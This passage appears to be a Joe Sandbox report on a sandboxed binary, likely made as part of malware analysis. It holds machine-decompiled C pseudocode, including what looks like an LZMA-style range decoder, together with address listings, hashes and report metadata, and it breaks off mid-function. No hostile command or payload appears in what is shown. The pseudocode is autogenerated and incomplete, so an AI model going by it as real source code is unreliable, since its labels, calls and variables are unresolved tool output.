									__eflags =  *(_t223 + 8) - _t211;
									if( *(_t223 + 8) <= _t211) {
										goto L17;
									} else {
										goto L15;
									}
									do {
										L15:
										E004039DF( *((intOrPtr*)(_t226 + 0xc)), 1);
										_t220 = _t220 + 1;
										__eflags = _t220 -  *(_t223 + 8);
									} while (_t220 <  *(_t223 + 8));
									_t211 = 0;
									__eflags = 0;
									goto L17;
								}
								E0040DBE1( *((intOrPtr*)(_t175 + 0x18)), _t211);
								while(1) {
									_t133 = E0040DBF4( *((intOrPtr*)(_t175 + 0x18)), _t211);
									_t183 = _t211;
									 *(_t226 - 0x1c) = _t133;
									 *(_t226 - 0x18) = _t183;
									if(_t133 != 0xd) {
										goto L6;
									}
									goto L2;
								}
								goto L6;
							}
							__eflags = _t183 - _t211;
							if(_t183 == _t211) {
								goto L13;
							}
							goto L11;
						}
						__eflags = _t183 - _t211;
						if(_t183 == _t211) {
							goto L13;
						}
						goto L9;
					}
					_t221 = 0;
					if( *(_t223 + 8) <= 0) {
						continue;
					} else {
						goto L4;
					}
					do {
						L4:
						E004039DF( *((intOrPtr*)(_t226 + 0xc)), E0040DC90(0));
						_t221 = _t221 + 1;
					} while (_t221 <  *(_t223 + 8));
					continue;
					L6:
					_t211 = 0;
					__eflags = 0;
					goto L7;
				}
			}

0x0040e5a5
0x0040e5aa
0x0040e5b3
0x0040e5ba
0x0040e5bd
0x0040e5c2
0x0040e5cb
0x0040e5d0
0x0040e5d3
0x0040e5d8
0x0040e5dd
0x0040e5e0
0x0040e5e3
0x00000000
0x00000000
0x0040e5e5
0x0040e5e5
0x0040e5e9
0x0040e60d
0x0040e60d
0x0040e610
0x0040e616
0x0040e616
0x0040e619
0x0040e61f
0x0040e61f
0x0040e621
0x0040e62d
0x0040e62d
0x0040e630
0x0040e633
0x0040e64e
0x0040e64e
0x0040e651
0x0040e653
0x0040e656
0x0040e659
0x0040e6d1
0x0040e6d1
0x0040e6d5
0x0040e6d7
0x0040e6da
0x0040e6df
0x0040e6e4
0x0040e6e7
0x0040e6ea
0x0040e6ed
0x0040e6ed
0x0040e6ed
0x0040e6da
0x0040e6ef
0x0040e6f2
0x0040e6f5
0x0040e6f7
0x0040e6fa
0x0040e726
0x0040e726
0x0040e729
0x0040e72c
0x0040e80e
0x0040e80e
0x0040e80e
0x0040e811
0x0040e82e
0x0040e831
0x0040e834
0x0040e85a
0x0040e860
0x0040e868
0x0040e868
0x0040e839
0x0040e841
0x0040e846
0x0040e849
0x0040e84b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e84d
0x0040e84d
0x0040e852
0x0040e857
0x0040e857
0x0040e857
0x00000000
0x0040e84d
0x0040e816
0x0040e81b
0x0040e823
0x0040e826
0x00000000
0x0040e826
0x0040e732
0x0040e735
0x00000000
0x00000000
0x0040e73b
0x0040e73e
0x0040e741
0x0040e744
0x0040e74b
0x0040e752
0x0040e755
0x0040e758
0x0040e75b
0x0040e75e
0x0040e765
0x0040e776
0x0040e77d
0x0040e782
0x0040e784
0x0040e787
0x0040e78a
0x0040e7f1
0x0040e7f1
0x0040e7f8
0x0040e7fd
0x0040e804
0x0040e809
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e78c
0x0040e78c
0x0040e795
0x0040e798
0x0040e79b
0x0040e79e
0x0040e7bc
0x0040e7bc
0x0040e7be
0x00000000
0x00000000
0x0040e7c0
0x0040e7c2
0x0040e7cf
0x0040e7e0
0x0040e7e5
0x0040e7e8
0x0040e7e8
0x0040e7e8
0x00000000
0x0040e7c2
0x0040e7a0
0x0040e7a4
0x00000000
0x00000000
0x0040e7aa
0x0040e7b5
0x0040e7eb
0x0040e7eb
0x0040e7ec
0x0040e7ec
0x00000000
0x0040e6fc
0x0040e6ff
0x0040e702
0x0040e705
0x0040e708
0x0040e70b
0x0040e719
0x0040e719
0x0040e719
0x0040e719
0x00000000
0x0040e719
0x0040e710
0x0040e713
0x0040e717
0x00000000
0x00000000
0x00000000
0x0040e71c
0x0040e71c
0x0040e71f
0x0040e720
0x0040e720
0x0040e724
0x0040e724
0x0040e724
0x00000000
0x0040e724
0x00000000
0x00000000
0x00000000
0x0040e65b
0x0040e65b
0x0040e65e
0x0040e661
0x0040e663
0x00000000
0x00000000
0x0040e665
0x0040e668
0x0040e66b
0x0040e66e
0x0040e6a8
0x0040e6ae
0x0040e6b9
0x0040e6be
0x0040e6c3
0x0040e6c6
0x0040e6c6
0x00000000
0x0040e6c6
0x0040e670
0x0040e670
0x0040e671
0x0040e674
0x0040e674
0x0040e678
0x0040e67a
0x0040e67d
0x0040e68c
0x0040e690
0x0040e695
0x0040e698
0x0040e69b
0x0040e69e
0x0040e6a1
0x0040e6a1
0x0040e6a1
0x0040e67d
0x0040e6a3
0x0040e6a3
0x0040e6a3
0x0040e6a3
0x00000000
0x0040e6c8
0x0040e6c8
0x0040e6c9
0x0040e6cc
0x0040e6cc
0x00000000
0x0040e65b
0x0040e635
0x0040e637
0x0040e63a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e63c
0x0040e63c
0x0040e641
0x0040e646
0x0040e647
0x0040e647
0x0040e64c
0x0040e64c
0x00000000
0x0040e64c
0x0040e626
0x0040e5d0
0x0040e5d3
0x0040e5d8
0x0040e5dd
0x0040e5e0
0x0040e5e3
0x00000000
0x00000000
0x00000000
0x0040e5e3
0x00000000
0x0040e5d0
0x0040e61b
0x0040e61d
0x00000000
0x00000000
0x00000000
0x0040e61d
0x0040e612
0x0040e614
0x00000000
0x00000000
0x00000000
0x0040e614
0x0040e5eb
0x0040e5f0
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e5f2
0x0040e5f2
0x0040e5fe
0x0040e603
0x0040e604
0x00000000
0x0040e60b
0x0040e60b
0x0040e60b
0x00000000
0x0040e60b

APIs

__EH_prolog.LIBCMT ref: 0040E5AA

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: b07fb5bf97a2b1aa00d72e408e60a61c646f09191d68c079a122928f862f61c3
Instruction ID: 21f6de2b17b1780f59bfe67bff07a3778763215a5d034522e7ff50d1aecbc74d
Opcode Fuzzy Hash: b07fb5bf97a2b1aa00d72e408e60a61c646f09191d68c079a122928f862f61c3
Instruction Fuzzy Hash: 86A1FA70E002099FCB18DF96C4919AEB7B2FFA4314F14887FE815A7291DB39AD61CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004126B0 Relevance: .5, Instructions: 481
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E004126B0(void* __eax, signed int* __ecx) {
				intOrPtr _t149;
				unsigned int _t153;
				signed int _t157;
				signed int _t158;
				intOrPtr _t159;
				signed int _t160;
				signed int _t161;
				signed char* _t162;
				signed int _t164;
				intOrPtr _t167;
				signed int _t168;
				signed char* _t169;
				signed int _t171;
				signed char* _t179;
				signed int _t190;
				signed int _t192;
				signed int _t196;
				signed char* _t197;
				signed char* _t199;
				signed int _t204;
				signed short* _t205;
				void* _t206;
				signed int _t207;
				signed int _t215;
				signed int _t216;
				signed char* _t225;
				signed int _t228;
				signed int _t232;
				signed int _t235;
				signed int _t238;
				signed int _t241;
				signed int _t244;
				signed int _t247;
				signed char _t251;
				void* _t252;
				signed int _t265;
				signed int _t270;
				signed int _t271;
				signed int _t272;
				signed int _t278;
				signed char* _t279;
				signed int _t281;
				signed int _t283;
				signed int _t284;
				signed int _t285;
				signed int _t286;
				signed int _t287;
				signed int _t288;
				signed int _t289;
				signed int _t290;
				unsigned int _t291;
				signed int* _t292;
				intOrPtr _t293;
				signed char* _t294;
				signed short* _t296;
				signed int _t297;
				signed int _t298;
				signed int _t300;
				signed int _t301;
				signed int _t310;
				signed int _t314;
				signed int _t319;
				signed int _t320;
				signed int _t321;
				signed int _t322;
				signed int _t323;
				signed int _t324;
				signed int _t325;
				signed int _t340;
				signed int _t341;
				signed int _t342;
				signed char* _t344;
				void* _t351;

				_t292 = __ecx;
				_t340 =  *(__ecx + 0x34);
				_t283 =  *(__ecx + 0x1c);
				_t321 =  *(__ecx + 0x20);
				_t149 =  *((intOrPtr*)(__ecx + 0x10));
				 *(_t351 + 0x10) =  &(( *(_t351 + 0x28))[__eax]);
				 *((intOrPtr*)(_t351 + 0x14)) = _t149;
				_t204 = (0x00000001 <<  *(__ecx + 8)) - 0x00000001 &  *(__ecx + 0x2c);
				 *(_t351 + 0x18) =  *(_t149 + ((_t340 << 4) + 1) * 2) & 0x0000ffff;
				if(_t283 >= 0x1000000) {
					L4:
					_t153 = (_t283 >> 0xb) *  *(_t351 + 0x18);
					if(_t321 >= _t153) {
						_t293 =  *((intOrPtr*)(_t351 + 0x14));
						_t225 =  *(_t351 + 0x28);
						_t284 = _t283 - _t153;
						_t322 = _t321 - _t153;
						 *(_t351 + 0x18) =  *(_t293 + 0x180 + _t340 * 2) & 0x0000ffff;
						if(_t284 >= 0x1000000) {
							L39:
							_t157 = (_t284 >> 0xb) *  *(_t351 + 0x18);
							if(_t322 >= _t157) {
								_t285 = _t284 - _t157;
								_t323 = _t322 - _t157;
								_t158 =  *(_t293 + 0x198 + _t340 * 2) & 0x0000ffff;
								 *(_t351 + 0x1c) = 3;
								if(_t285 >= 0x1000000) {
									L44:
									_t228 = (_t285 >> 0xb) * _t158;
									_t159 =  *((intOrPtr*)(_t351 + 0x14));
									if(_t323 >= _t228) {
										_t294 =  *(_t351 + 0x28);
										_t286 = _t285 - _t228;
										_t324 = _t323 - _t228;
										 *(_t351 + 0x18) =  *(_t159 + 0x1b0 + _t340 * 2) & 0x0000ffff;
										if(_t286 >= 0x1000000) {
											L55:
											_t232 = (_t286 >> 0xb) *  *(_t351 + 0x18);
											if(_t324 >= _t232) {
												_t160 =  *(_t159 + 0x1c8 + _t340 * 2) & 0x0000ffff;
												_t287 = _t286 - _t232;
												_t323 = _t324 - _t232;
												if(_t287 >= 0x1000000) {
													L60:
													_t235 = (_t287 >> 0xb) * _t160;
													if(_t323 >= _t235) {
														goto L62;
													} else {
														_t288 = _t235;
													}
													goto L63;
												} else {
													if(_t294 >=  *(_t351 + 0x10)) {
														goto L2;
													} else {
														_t287 = _t287 << 8;
														_t323 = _t323 << 0x00000008 |  *_t294 & 0x000000ff;
														 *(_t351 + 0x28) =  &(_t294[1]);
														goto L60;
													}
												}
											} else {
												_t288 = _t232;
												goto L63;
											}
										} else {
											if(_t294 >=  *(_t351 + 0x10)) {
												goto L2;
											} else {
												_t286 = _t286 << 8;
												_t324 = _t324 << 0x00000008 |  *_t294 & 0x000000ff;
												_t294 =  &(_t294[1]);
												 *(_t351 + 0x28) = _t294;
												goto L55;
											}
										}
									} else {
										_t314 =  *(_t159 + ((_t340 + 0xf << 4) + _t204) * 2) & 0x0000ffff;
										_t179 =  *(_t351 + 0x28);
										_t287 = _t228;
										if(_t228 >= 0x1000000) {
											L48:
											_t235 = (_t287 >> 0xb) * _t314;
											if(_t323 >= _t235) {
												L62:
												_t288 = _t287 - _t235;
												_t323 = _t323 - _t235;
												L63:
												_t225 =  *(_t351 + 0x28);
												 *(_t351 + 0x20) = 0xc;
												_t296 =  *((intOrPtr*)(_t351 + 0x14)) + 0xa68;
												goto L64;
											} else {
												if(_t235 >= 0x1000000 || _t179 <  *(_t351 + 0x10)) {
													return 3;
												} else {
													goto L2;
												}
											}
										} else {
											if(_t179 >=  *(_t351 + 0x10)) {
												goto L2;
											} else {
												_t287 = _t228 << 8;
												_t323 = _t323 << 0x00000008 |  *_t179 & 0x000000ff;
												_t179 =  &(_t179[1]);
												 *(_t351 + 0x28) = _t179;
												goto L48;
											}
										}
									}
								} else {
									if(_t225 >=  *(_t351 + 0x10)) {
										goto L2;
									} else {
										_t285 = _t285 << 8;
										_t323 = _t323 << 0x00000008 |  *_t225 & 0x000000ff;
										 *(_t351 + 0x28) =  &(_t225[1]);
										goto L44;
									}
								}
							} else {
								_t288 = _t157;
								 *(_t351 + 0x20) = 0;
								_t296 = _t293 + 0x664;
								 *(_t351 + 0x1c) = 2;
								L64:
								_t161 =  *_t296 & 0x0000ffff;
								if(_t288 >= 0x1000000) {
									L67:
									_t238 = (_t288 >> 0xb) * _t161;
									_t162 =  *(_t351 + 0x28);
									if(_t323 >= _t238) {
										_t341 = _t296[1] & 0x0000ffff;
										_t289 = _t288 - _t238;
										_t325 = _t323 - _t238;
										if(_t289 >= 0x1000000) {
											L72:
											_t241 = (_t289 >> 0xb) * _t341;
											if(_t325 >= _t241) {
												_t290 = _t289 - _t241;
												_t325 = _t325 - _t241;
												_t205 =  &(_t296[0x102]);
												_t342 = 0x10;
												 *(_t351 + 0x18) = 0x100;
											} else {
												_t342 = 8;
												_t290 = _t241;
												_t205 = _t296 + 0x104 + (_t204 + _t204) * 8;
												 *(_t351 + 0x18) = 8;
											}
											goto L75;
										} else {
											if(_t162 >=  *(_t351 + 0x10)) {
												goto L2;
											} else {
												_t289 = _t289 << 8;
												_t325 = _t325 << 0x00000008 |  *_t162 & 0x000000ff;
												_t162 =  &(_t162[1]);
												 *(_t351 + 0x28) = _t162;
												goto L72;
											}
										}
									} else {
										_t290 = _t238;
										_t205 = _t296 + 4 + (_t204 + _t204) * 8;
										_t342 = 0;
										 *(_t351 + 0x18) = 8;
										L75:
										_t297 = 1;
										L76:
										while(1) {
											if(_t290 >= 0x1000000) {
												L79:
												_t244 = (_t290 >> 0xb) * (_t205[_t297] & 0x0000ffff);
												if(_t325 >= _t244) {
													_t290 = _t290 - _t244;
													_t325 = _t325 - _t244;
													_t297 = _t297 + _t297 + 1;
												} else {
													_t290 = _t244;
													_t297 = _t297 + _t297;
												}
												_t164 =  *(_t351 + 0x18);
												if(_t297 >= _t164) {
													_t298 = _t297 + _t342 - _t164;
													if( *(_t351 + 0x20) >= 4) {
														goto L20;
													} else {
														if(_t298 >= 4) {
															_t298 = 3;
														}
														_t167 =  *((intOrPtr*)(_t351 + 0x14));
														_t344 =  *(_t351 + 0x28);
														_t128 = _t167 + 0x360; // 0x363
														_t206 = (_t298 << 7) + _t128;
														_t300 = 1;
														do {
															_t168 =  *(_t206 + _t300 * 2) & 0x0000ffff;
															if(_t290 >= 0x1000000) {
																goto L91;
															} else {
																if(_t344 >=  *(_t351 + 0x10)) {
																	goto L2;
																} else {
																	_t290 = _t290 << 8;
																	_t325 = _t325 << 0x00000008 |  *_t344 & 0x000000ff;
																	_t344 =  &(_t344[1]);
																	goto L91;
																}
															}
															goto L113;
															L91:
															_t247 = (_t290 >> 0xb) * _t168;
															if(_t325 >= _t247) {
																_t290 = _t290 - _t247;
																_t325 = _t325 - _t247;
																_t300 = _t300 + _t300 + 1;
															} else {
																_t290 = _t247;
																_t300 = _t300 + _t300;
															}
														} while (_t300 < 0x40);
														_t301 = _t300 - 0x40;
														if(_t301 < 4) {
															goto L21;
														} else {
															_t251 = (_t301 >> 1) - 1;
															if(_t301 >= 0xe) {
																_t169 =  *(_t351 + 0x10);
																_t252 = _t251 - 4;
																do {
																	if(_t290 >= 0x1000000) {
																		goto L102;
																	} else {
																		if(_t344 >= _t169) {
																			goto L2;
																		} else {
																			_t290 = _t290 << 8;
																			_t325 = _t325 << 0x00000008 |  *_t344 & 0x000000ff;
																			_t344 =  &(_t344[1]);
																			goto L102;
																		}
																	}
																	goto L113;
																	L102:
																	_t290 = _t290 >> 1;
																	_t325 = _t325 - ((_t325 - _t290 >> 0x0000001f) - 0x00000001 & _t290);
																	_t252 = _t252 - 1;
																} while (_t252 != 0);
																 *((intOrPtr*)(_t351 + 0x14)) =  *((intOrPtr*)(_t351 + 0x14)) + 0x644;
																_t251 = 4;
																goto L104;
															} else {
																 *((intOrPtr*)(_t351 + 0x14)) =  *((intOrPtr*)(_t351 + 0x14)) + 0x55e + (((_t301 & 0x00000001 | 0x00000002) << _t251) - _t301) * 2;
																L104:
																_t207 = 1;
																do {
																	_t171 =  *( *((intOrPtr*)(_t351 + 0x14)) + _t207 * 2) & 0x0000ffff;
																	if(_t290 >= 0x1000000) {
																		goto L108;
																	} else {
																		if(_t344 >=  *(_t351 + 0x10)) {
																			goto L2;
																		} else {
																			_t290 = _t290 << 8;
																			_t325 = _t325 << 0x00000008 |  *_t344 & 0x000000ff;
																			_t344 =  &(_t344[1]);
																			goto L108;
																		}
																	}
																	goto L113;
																	L108:
																	_t310 = (_t290 >> 0xb) * _t171;
																	if(_t325 >= _t310) {
																		_t290 = _t290 - _t310;
																		_t325 = _t325 - _t310;
																		_t207 = _t207 + _t207 + 1;
																	} else {
																		_t290 = _t310;
																		_t207 = _t207 + _t207;
																	}
																	_t251 = _t251 - 1;
																} while (_t251 != 0);
																goto L21;
															}
														}
													}
												} else {
													_t162 =  *(_t351 + 0x28);
													continue;
												}
											} else {
												if(_t162 >=  *(_t351 + 0x10)) {
													goto L2;
												} else {
													_t290 = _t290 << 8;
													_t325 = _t325 << 0x00000008 |  *_t162 & 0x000000ff;
													 *(_t351 + 0x28) =  &(_t162[1]);
													goto L79;
												}
											}
											goto L113;
										}
									}
								} else {
									if(_t225 >=  *(_t351 + 0x10)) {
										goto L2;
									} else {
										_t288 = _t288 << 8;
										_t323 = _t323 << 0x00000008 |  *_t225 & 0x000000ff;
										 *(_t351 + 0x28) =  &(_t225[1]);
										goto L67;
									}
								}
							}
						} else {
							if(_t225 >=  *(_t351 + 0x10)) {
								goto L2;
							} else {
								_t284 = _t284 << 8;
								_t322 = _t322 << 0x00000008 |  *_t225 & 0x000000ff;
								_t225 =  &(_t225[1]);
								 *(_t351 + 0x28) = _t225;
								goto L39;
							}
						}
					} else {
						_t291 = _t153;
						 *((intOrPtr*)(_t351 + 0x14)) =  *((intOrPtr*)(_t351 + 0x14)) + 0xe6c;
						if(_t292[0xc] != 0 || _t292[0xb] != 0) {
							_t265 = _t292[9];
							if(_t265 == 0) {
								_t265 = _t292[0xa];
							}
							 *((intOrPtr*)(_t351 + 0x14)) =  *((intOrPtr*)(_t351 + 0x14)) + ((( *(_t292[5] + _t265 - 1) & 0x000000ff) >> 8 -  *_t292) + (((0x00000001 << _t292[1]) - 0x00000001 & _t292[0xb]) <<  *_t292)) * 0x600;
						}
						if(_t340 >= 7) {
							_t270 = _t292[9];
							_t215 = _t292[0xe];
							if(_t270 >= _t215) {
								_t190 = 0;
							} else {
								_t190 = _t292[0xa];
							}
							_t271 =  *(_t292[5] - _t215 + _t270 + _t190) & 0x000000ff;
							_t216 = 0x100;
							_t319 = 1;
							while(1) {
								_t272 = _t271 + _t271;
								_t192 = _t216 & _t272;
								 *(_t351 + 0x20) = _t272;
								 *(_t351 + 0x18) =  *( *((intOrPtr*)(_t351 + 0x14)) + (_t192 + _t319 + _t216) * 2) & 0x0000ffff;
								if(_t291 >= 0x1000000) {
									goto L31;
								}
								_t279 =  *(_t351 + 0x28);
								if(_t279 >=  *(_t351 + 0x10)) {
									goto L2;
								} else {
									_t291 = _t291 << 8;
									_t321 = _t321 << 0x00000008 |  *_t279 & 0x000000ff;
									 *(_t351 + 0x28) =  &(_t279[1]);
									goto L31;
								}
								goto L113;
								L31:
								_t278 = (_t291 >> 0xb) *  *(_t351 + 0x18);
								if(_t321 >= _t278) {
									_t290 = _t291 - _t278;
									_t321 = _t321 - _t278;
									_t319 = _t319 + _t319 + 1;
								} else {
									_t290 = _t278;
									_t319 = _t319 + _t319;
									_t192 =  !_t192;
								}
								_t216 = _t216 & _t192;
								if(_t319 >= 0x100) {
									goto L19;
								} else {
									_t271 =  *(_t351 + 0x20);
									continue;
								}
								goto L113;
							}
						} else {
							_t281 = 1;
							do {
								_t320 =  *( *((intOrPtr*)(_t351 + 0x14)) + _t281 * 2) & 0x0000ffff;
								if(_t291 >= 0x1000000) {
									goto L15;
								} else {
									_t197 =  *(_t351 + 0x28);
									if(_t197 >=  *(_t351 + 0x10)) {
										goto L2;
									} else {
										_t291 = _t291 << 8;
										_t321 = _t321 << 0x00000008 |  *_t197 & 0x000000ff;
										 *(_t351 + 0x28) =  &(_t197[1]);
										goto L15;
									}
								}
								goto L113;
								L15:
								_t196 = (_t291 >> 0xb) * _t320;
								if(_t321 >= _t196) {
									_t291 = _t291 - _t196;
									_t321 = _t321 - _t196;
									_t281 = _t281 + _t281 + 1;
								} else {
									_t291 = _t196;
									_t281 = _t281 + _t281;
								}
							} while (_t281 < 0x100);
							L19:
							 *(_t351 + 0x1c) = 1;
							L20:
							_t344 =  *(_t351 + 0x28);
							L21:
							if(_t290 >= 0x1000000 || _t344 <  *(_t351 + 0x10)) {
								return  *(_t351 + 0x1c);
							} else {
								goto L2;
							}
						}
					}
				} else {
					_t199 =  *(_t351 + 0x28);
					if(_t199 <  *(_t351 + 0x10)) {
						_t283 = _t283 << 8;
						_t321 = _t321 << 0x00000008 |  *_t199 & 0x000000ff;
						 *(_t351 + 0x28) =  &(_t199[1]);
						goto L4;
					} else {
						L2:
						return 0;
					}
				}
				L113:
			}

0x004126b7
0x004126bd
0x004126c0
0x004126c3
0x004126c8
0x004126cb
0x004126de
0x004126e3
0x004126ec
0x004126f6
0x0041271e
0x00412723
0x0041272a
0x004128b6
0x004128ba
0x004128be
0x004128c0
0x004128ca
0x004128d4
0x004128f0
0x004128f5
0x004128fc
0x0041291b
0x0041291d
0x0041291f
0x00412927
0x00412935
0x00412951
0x00412956
0x00412959
0x0041295f
0x004129c8
0x004129cc
0x004129ce
0x004129d8
0x004129e2
0x004129fe
0x00412a03
0x00412a0a
0x00412a10
0x00412a18
0x00412a1a
0x00412a22
0x00412a3e
0x00412a43
0x00412a48
0x00000000
0x00412a4a
0x00412a4a
0x00412a4a
0x00000000
0x00412a24
0x00412a28
0x00000000
0x00412a2e
0x00412a34
0x00412a37
0x00412a3a
0x00000000
0x00412a3a
0x00412a28
0x00412a0c
0x00412a0c
0x00000000
0x00412a0c
0x004129e4
0x004129e8
0x00000000
0x004129ee
0x004129f4
0x004129f7
0x004129f9
0x004129fa
0x00000000
0x004129fa
0x004129e8
0x00412961
0x00412969
0x0041296d
0x00412971
0x00412979
0x00412997
0x0041299c
0x004129a1
0x00412a4e
0x00412a4e
0x00412a50
0x00412a52
0x00412a56
0x00412a5a
0x00412a62
0x00000000
0x004129a7
0x004129ad
0x004129c5
0x00000000
0x00000000
0x00000000
0x004129ad
0x0041297b
0x0041297f
0x00000000
0x00412985
0x00412988
0x00412990
0x00412992
0x00412993
0x00000000
0x00412993
0x0041297f
0x00412979
0x00412937
0x0041293b
0x00000000
0x00412941
0x00412947
0x0041294a
0x0041294d
0x00000000
0x0041294d
0x0041293b
0x004128fe
0x004128fe
0x00412900
0x00412908
0x0041290e
0x00412a68
0x00412a68
0x00412a71
0x00412a8d
0x00412a92
0x00412a95
0x00412a9b
0x00412ab1
0x00412ab5
0x00412ab7
0x00412abf
0x00412adb
0x00412ae0
0x00412ae5
0x00412afd
0x00412aff
0x00412b01
0x00412b07
0x00412b0c
0x00412ae7
0x00412ae9
0x00412aee
0x00412af0
0x00412af7
0x00412af7
0x00000000
0x00412ac1
0x00412ac5
0x00000000
0x00412acb
0x00412ad1
0x00412ad4
0x00412ad6
0x00412ad7
0x00000000
0x00412ad7
0x00412ac5
0x00412a9d
0x00412a9f
0x00412aa1
0x00412aa5
0x00412aa7
0x00412b14
0x00412b14
0x00000000
0x00412b20
0x00412b26
0x00412b42
0x00412b4b
0x00412b50
0x00412b58
0x00412b5a
0x00412b5c
0x00412b52
0x00412b52
0x00412b54
0x00412b54
0x00412b60
0x00412b66
0x00412b70
0x00412b77
0x00000000
0x00412b7d
0x00412b80
0x00412b82
0x00412b82
0x00412b87
0x00412b8b
0x00412b92
0x00412b92
0x00412b99
0x00412ba0
0x00412ba0
0x00412baa
0x00000000
0x00412bac
0x00412bb0
0x00000000
0x00412bb6
0x00412bbd
0x00412bc0
0x00412bc2
0x00000000
0x00412bc2
0x00412bb0
0x00000000
0x00412bc3
0x00412bc8
0x00412bcd
0x00412bd5
0x00412bd7
0x00412bd9
0x00412bcf
0x00412bcf
0x00412bd1
0x00412bd1
0x00412bdd
0x00412be2
0x00412be8
0x00000000
0x00412bee
0x00412bf2
0x00412bf6
0x00412c15
0x00412c19
0x00412c20
0x00412c26
0x00000000
0x00412c28
0x00412c2a
0x00000000
0x00412c30
0x00412c37
0x00412c3a
0x00412c3c
0x00000000
0x00412c3c
0x00412c2a
0x00000000
0x00412c3d
0x00412c3d
0x00412c49
0x00412c4b
0x00412c4b
0x00412c58
0x00412c5c
0x00000000
0x00412bf8
0x00412c0f
0x00412c61
0x00412c61
0x00412c70
0x00412c74
0x00412c7e
0x00000000
0x00412c80
0x00412c84
0x00000000
0x00412c8a
0x00412c91
0x00412c94
0x00412c96
0x00000000
0x00412c96
0x00412c84
0x00000000
0x00412c97
0x00412c9c
0x00412ca1
0x00412ca9
0x00412cab
0x00412cad
0x00412ca3
0x00412ca3
0x00412ca5
0x00412ca5
0x00412cb1
0x00412cb1
0x00000000
0x00412cb4
0x00412bf6
0x00412be8
0x00412b68
0x00412b68
0x00000000
0x00412b68
0x00412b28
0x00412b2c
0x00000000
0x00412b32
0x00412b38
0x00412b3b
0x00412b3e
0x00000000
0x00412b3e
0x00412b2c
0x00000000
0x00412b26
0x00412b20
0x00412a73
0x00412a77
0x00000000
0x00412a7d
0x00412a83
0x00412a86
0x00412a89
0x00000000
0x00412a89
0x00412a77
0x00412a71
0x004128d6
0x004128da
0x00000000
0x004128e0
0x004128e6
0x004128e9
0x004128eb
0x004128ec
0x00000000
0x004128ec
0x004128da
0x00412730
0x00412730
0x0041273f
0x00412743
0x0041274b
0x00412750
0x00412752
0x00412752
0x00412782
0x00412782
0x00412789
0x0041281c
0x0041281f
0x00412824
0x0041282b
0x00412826
0x00412826
0x00412826
0x00412834
0x00412838
0x0041283d
0x00412842
0x00412846
0x0041284a
0x0041284c
0x0041285a
0x00412864
0x00000000
0x00000000
0x00412866
0x0041286e
0x00000000
0x00412874
0x0041287a
0x0041287d
0x00412880
0x00000000
0x00412880
0x00000000
0x00412884
0x00412889
0x00412890
0x0041289a
0x0041289c
0x0041289e
0x00412892
0x00412892
0x00412894
0x00412896
0x00412896
0x004128a2
0x004128aa
0x00000000
0x004128b0
0x004128b0
0x00000000
0x004128b0
0x00000000
0x004128aa
0x0041278f
0x0041278f
0x004127a0
0x004127a4
0x004127ae
0x00000000
0x004127b0
0x004127b0
0x004127b8
0x00000000
0x004127be
0x004127c4
0x004127c7
0x004127ca
0x00000000
0x004127ca
0x004127b8
0x00000000
0x004127ce
0x004127d3
0x004127d8
0x004127e0
0x004127e2
0x004127e4
0x004127da
0x004127da
0x004127dc
0x004127dc
0x004127e8
0x004127f0
0x004127f0
0x004127f8
0x004127f8
0x004127fc
0x00412802
0x00412819
0x00000000
0x00000000
0x00000000
0x00412802
0x00412789
0x004126f8
0x004126f8
0x00412700
0x00412714
0x00412717
0x0041271a
0x00000000
0x00412705
0x00412705
0x0041270b
0x0041270b
0x00412700
0x00000000

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27156ca4970ad7a14cafdd4d0f561c0251ce2efe8b7cb58f4bb8e0a1a151ff8a
Instruction ID: 16771a17edc265a66ec67cf10f30b53a928448ec08439b5136306a35d4d76ba5
Opcode Fuzzy Hash: 27156ca4970ad7a14cafdd4d0f561c0251ce2efe8b7cb58f4bb8e0a1a151ff8a
Instruction Fuzzy Hash: 3D023C72A042114BD719CE18C6802BDBBE2FBD5350F150A3FE4A6D7684D7B898E8C799

Uniqueness

Uniqueness Score: -1.00%

Function 004162A6 Relevance: .3, Instructions: 259
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E004162A6(signed int* _a4, intOrPtr* _a8, char _a11, signed int _a12, char _a15) {
				signed int _v8;
				signed char _v12;
				intOrPtr _v16;
				intOrPtr _t186;
				void* _t187;
				signed int _t188;
				signed int* _t189;
				intOrPtr _t191;
				signed int* _t192;
				signed int* _t193;
				signed char _t194;
				intOrPtr _t195;
				intOrPtr* _t196;
				signed int _t199;
				signed int _t202;
				signed int _t207;
				signed int _t209;
				signed int _t218;
				signed int _t221;
				signed int* _t222;
				signed int _t227;
				intOrPtr _t228;
				intOrPtr _t229;
				intOrPtr _t230;
				char _t233;
				signed int _t234;
